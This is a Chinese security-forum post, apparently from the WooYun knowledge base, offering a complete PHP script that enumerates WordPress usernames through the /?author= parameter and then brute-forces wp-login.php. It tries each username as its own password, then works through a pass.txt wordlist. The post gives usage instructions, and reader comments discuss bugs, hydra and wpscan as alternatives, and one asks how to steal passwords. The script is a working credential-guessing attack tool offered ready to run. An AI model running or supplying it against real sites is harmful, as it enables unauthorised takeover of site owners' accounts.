跑wordpress用户密码脚本

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。

原理是通过URL /?author= 遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户,可自行修改。

使用方法:

php wordpress.php http://www.test.com
#!php
<?php

set_time_limit(0); 
$domain = $argv[1];

//获取用户名
for ($i=1; $i <= 10; $i++) {

    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "/author\/(.*)\/feed/";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}

echo "共获取用户".count($namearray)."名用户\n";

echo "正在破解用户名与密码相同的用户:\n";

$crackname = crackpassword($namearray,"same");

$passwords = file("pass.txt");

echo "正在破解弱口令用户:\n";

if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}

crackpassword($namearray,$passwords);

function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}


function httprequest($url,$post){
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, "$url"); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

    $output = curl_exec($ch); 
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);


    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}
?>

©乌云知识库版权所有 未经许可 禁止转载


30
vforbox 2016-04-17 16:53:00

龙哥,这个脚本好眼熟...

30
whuxga 2016-03-29 15:01:43

求问 知道了攻击目标的大量用户名后该怎么不用字典的盗取密码?

顺便问一下 你这个怎么用啊 我小白

php wordpress.php http://www.test.com 这个使用方法看不懂啊

30
myhalo 2016-02-16 15:15:31

wpscan

30
mtfly 2015-08-25 15:45:42

@c4rp3nt3r wp的用户名获取实在是太蛋疼了,换成别的主题就又找不到。写正则太鸡肋了,你有比较好的办法么?

30
何仙姑 2015-04-22 19:09:19

wordpress密码要求,最短是几位?

30
debbbbie 2014-11-26 23:55:09

能把你写的放出来吗、楼主写的确实老是出现BUG。

30
瞌睡龙 2014-06-27 17:50:37

$pattern = "/author\/(.*)\/feed/";
这个发现有的wp博客是不一样 不是完全适配,需要根据情况修改。这个是根据本地的一个情况匹配的。

30
Viigoss 2014-06-27 17:40:25

这正则就是个错的。这都能通过,确实可以。

30
路过 2014-05-27 10:09:52

破解出来的用户密码在哪查看?测试了没有显示有

30
小威 2014-04-24 23:34:26

同求

30
二少 2014-04-18 10:34:05

你用post-form的时候,如果是国内的站,title 如果是中文呢,你怎么来进行编码还是怎样来获取登录错误的关键字呢/?

30
mango 2014-01-23 16:57:56

那该怎么办呢??、

30
VIP 2014-01-17 20:05:33

目测没装curl扩展

30
U神 2014-01-17 19:46:26

Fatal error: Call to undefined function curl_init() in C:\PHP\php-5.2.12-Win32\w
ordpress-crack.php on line 62

求解!!

30
lhshaoren 2013-09-23 22:28:21

还不错

30
luwikes 2013-09-22 15:18:44

87

30
insight-labs 2013-09-20 11:33:44

亲,我一直用hydra的http-post-form。还能多线程

30
xfkxfk 2013-09-18 13:03:54

有时候/?author=number的确找不到,不过这个找到的概率到时挺高的,支持下

30
c4rp3nt3r 2013-09-18 11:44:17

我上面都说了哦

30
瞌睡龙 2013-09-18 11:24:19

哈,的确,忽略了登录用户名跟title的用户名可能不一样,虽然这个产生的情况很少。那你程序取用户名,是从哪里获取的呢?

30
Ivan 2013-09-18 03:25:50

收藏下~

30
c4rp3nt3r 2013-09-17 21:39:06

我觉得wpscan就不错,除非自己写个扫描器加入这个模块。嘿嘿。。。

30
c4rp3nt3r 2013-09-17 21:37:38

昨天我刚好也写了一个wordpress枚举用户名的小功能,楼主这个程序里面,枚举用户名的地方有问题。
一是 里的用户名是该用户显示的时候的名字,比如 登录用户名 admin,可以设置成 Administrator或者什么。虽然很多是一样的,这里确实不严谨。另一方面wordpress版本比较多,各种seo插件也比较多枚举用户名,只用里的信息貌似很不够,
还有 <body class="archive author
以及 http://site/author/admin/
这种等等。
交流而已,没别的意思。

30
园长 2013-09-17 17:44:56

wordpress太张狂了,连个验证码都不加。

30
ccSec 2013-09-17 17:07:55

龙哥好流逼。

30
瘦蛟舞 2013-09-17 16:09:23

龙哥的东西一直很实用~

30
erevus 2013-09-17 15:53:27

好东西啊

感谢知乎授权页面模版